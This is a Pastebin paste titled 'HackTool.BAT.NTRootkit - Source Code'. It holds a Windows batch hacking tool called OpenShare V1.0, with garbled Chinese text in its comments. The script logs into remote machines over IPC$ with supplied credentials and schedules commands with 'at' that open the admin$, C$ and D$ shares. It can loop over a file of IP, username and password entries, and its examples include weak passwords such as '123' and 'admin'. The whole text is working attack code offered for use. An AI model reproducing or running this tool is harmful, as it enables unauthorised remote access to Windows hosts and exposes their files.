Advertisement
FlyFar

HackTool.BAT.NTRootkit - Source Code

Jun 13th, 2023
1,273
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 4.14 KB | Cybersecurity | 0 0
  1. @echo off
  2. color 3e
  3. cls
  4.  
  5. Rem ==========================������ipc.bat������====================================
  6. echo @echo off  >ipc.bat
  7. echo echo.    >>ipc.bat
  8. echo echo ��������%%1...    >>ipc.bat
  9. echo echo.    >>ipc.bat
  10. echo net use \\%%1\ipc$ %%3 /user:%%2 ^& IF errorlevel 1 goto :Error    >>ipc.bat
  11. echo echo ���ڲ�ѯ%%1�ĵ�ǰʱ��    >>ipc.bat
  12. echo echo.    >>ipc.bat
  13. echo net time \\%%1 /set /y ^& IF errorlevel 1 goto :Error    >>ipc.bat
  14. echo for /f "tokens=1,2 delims=:"  %%%%i in ("%%time%%") do set /a hh=%%%%i ^& set /a mm=%%%%j    >>ipc.bat
  15. echo echo %%1��ǰʱ��Ϊ%%hh%%:%%mm%%    >>ipc.bat
  16. echo set /a mm=%%mm%%+1    >>ipc.bat
  17. echo if /i %%mm%% geq 60 set /a mm=0 ^& set /a hh=%%hh%%+1    >>ipc.bat
  18. echo if /i %%hh%% geq 24 set /a hh=0    >>ipc.bat
  19. echo set tm=%%hh%%:%%mm%%    >>ipc.bat
  20. echo echo.    >>ipc.bat
  21. echo echo ���ô򿪹�����ʱ��Ϊ%%tm%%    >>ipc.bat
  22. echo echo.    >>ipc.bat
  23. echo at \\%%1 %%tm%% net share admin$  ^& IF errorlevel 1 goto :Error    >>ipc.bat
  24. echo echo.    >>ipc.bat
  25. echo echo ����admin$����%%tm%%����    >>ipc.bat
  26. echo echo.    >>ipc.bat
  27. echo at \\%%1 %%tm%% net share c$=c:  ^& IF errorlevel 1 goto :Error    >>ipc.bat
  28. echo echo.    >>ipc.bat
  29. echo echo ����C$����%%tm%%����    >>ipc.bat
  30. echo echo.    >>ipc.bat
  31. echo at \\%%1 %%tm%% net share d$=d:  ^& IF errorlevel 1 goto :Error    >>ipc.bat
  32. echo echo.    >>ipc.bat
  33. echo echo ����D$����%%tm%%����    >>ipc.bat
  34. echo echo.    >>ipc.bat
  35. echo echo ����ٹ�60�룬���й����ͻᱻ�򿪣����Ժ�...    >>ipc.bat
  36. echo goto :BYE    >>ipc.bat
  37. echo :Error    >>ipc.bat
  38. echo echo.    >>ipc.bat
  39. echo net use \\%%1\ipc$ /del /y    >>ipc.bat
  40. echo echo %%1���ִ�������ܳɹ���ɣ�    >>ipc.bat
  41. echo echo.    >>ipc.bat
  42. echo goto :exit    >>ipc.bat
  43. echo :BYE    >>ipc.bat
  44. echo echo.    >>ipc.bat
  45. echo net use \\%%1\ipc$ /del /y    >>ipc.bat
  46. echo echo %%1�ɹ������������    >>ipc.bat
  47. echo echo.    >>ipc.bat
  48. echo :exit    >>ipc.bat
  49. echo echo ------------------------------------------------------    >>ipc.bat
  50. echo exit   >>ipc.bat
  51. Rem ======================================��======================================
  52.  
  53.  
  54. if {%1}== {} goto :Usage
  55. if {%2}== {} goto :file
  56. if {%3}== {} goto :Usage
  57. if not {%3}== {} goto :open
  58.  
  59. :File
  60. echo ======================================================
  61. echo                 ��Ѫ-OpenShare V1.0          
  62. echo ======================================================
  63. if not exist %1 echo ָ���ļ�������! & pause & goto  Usage
  64. for /f "tokens=1-3 delims= "  %%i in (%1) do  start /b /wait ipc.bat %%i %%j %%k
  65. goto exit
  66.  
  67. :Open
  68. echo ======================================================
  69. echo                 ��Ѫ-OpenShare V1.0      
  70. echo ======================================================
  71. start /b /wait ipc.bat %1 %2 %3
  72. goto exit
  73.  
  74.  
  75. :Usage
  76. cls
  77. echo ======================================================
  78. echo                 ��Ѫ-OpenShare V1.0      
  79. echo            Download by  С���    ChineseHack.org    
  80. echo ======================================================
  81. echo ��ȫ��������д��Զ�̿��������Ĺ��ߡ����������������ˡ�
  82. echo ���ߣ���Ѫ
  83. echo ��ҳ��http://txhak.myrice.com/
  84. echo ���䣺txhak@etang.com
  85. echo QQ:   22540685
  86. echo txshare.bat [IP] [�û���] [����]
  87. echo txshare.bat [�⼦�ļ�]
  88. echo ���ָ���⼦�ļ������������ļ��ж�ȡip �û��� ����
  89. echo �⼦�ļ����ļ���ʽΪip �û��� ���롣�ո������
  90. echo ��1��txshare 192.168.0.2 user ""
  91. echo ��2��txshare file.txt
  92. echo �⼦�ļ���ʽ���£��ո��������
  93. echo 192.168.0.1 user ""
  94. echo 192.168.0.2 administrator 123
  95. echo 192.168.0.24 administrator admin
  96. echo ------------------------------------------------------
  97.  
  98. :exit
Tags: batch rootkit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement